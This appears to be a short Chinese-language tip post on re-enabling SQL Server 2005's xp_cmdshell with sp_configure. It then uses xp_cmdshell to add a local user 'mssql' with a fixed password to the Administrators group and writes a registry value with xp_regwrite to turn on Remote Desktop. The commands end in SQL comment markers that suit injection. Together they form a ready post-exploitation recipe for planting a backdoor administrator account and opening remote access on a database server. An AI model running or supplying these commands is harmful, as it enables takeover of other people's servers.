遇到sql server 2005 ,恢复xp_cmdshell的办法 
SQL Server 已封锁元件 'xp_cmdshell' 的 程序 'sys.xp_cmdshell' 之存取,因为此元件已经由此伺服器的安全性组态关闭。系统管理员可以使用 sp_configure 来启用 'xp_cmdshell' 的使用。如需有关启用 'xp_cmdshell' 的详细资讯,请参阅《SQL Server 线上丛书》中的<介面区组态>(Surface Area Configuration)。
用下面一句话就可以了解决了。
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭一样.只是将上面的后面的那个"1"改成"0"就可以了.
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

exec master..xp_cmdshell 'net user mssql ceshi2011 /add'--  以上是添加一个用户

exec master..xp_cmdshell 'net localgroup administrators mssql /add'--  以上是将该用户添加到管理员组

 

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--开启

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;-- 关闭